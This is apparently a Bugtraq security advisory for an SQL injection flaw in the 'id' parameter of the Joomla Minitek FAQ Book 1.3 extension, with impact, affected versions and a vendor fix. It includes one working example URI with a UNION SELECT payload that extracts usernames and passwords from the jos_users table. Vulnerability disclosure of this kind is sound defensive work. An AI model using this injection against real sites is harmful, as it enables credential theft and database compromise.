Joomla Minitek FAQ Book 'id' Parameter SQL Injection Vulnerability

Bugtraq ID:	48223
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 13 2011 12:00AM
Updated:	Jun 16 2011 04:20PM
Credit:	kaMtiEz
Vulnerable:	Minitek Joomla Minitek FAQ Book 1.3
Not Vulnerable:	Minitek Joomla Minitek FAQ Book 1.4

Joomla Minitek FAQ Book 'id' Parameter SQL Injection Vulnerability

Joomla Minitek FAQ Book is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Joomla Minitek FAQ Book 1.3 is vulnerable; other versions may also be affected.

Joomla Minitek FAQ Book 'id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/demo16/faq-book?view=category&id=-7+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+jos_users--

Joomla Minitek FAQ Book 'id' Parameter SQL Injection Vulnerability

Solution:
Vendor updates are available. Please contact the vendor for more information.

Joomla Minitek FAQ Book 'id' Parameter SQL Injection Vulnerability

References:

• Minitek Homepage (Minitek)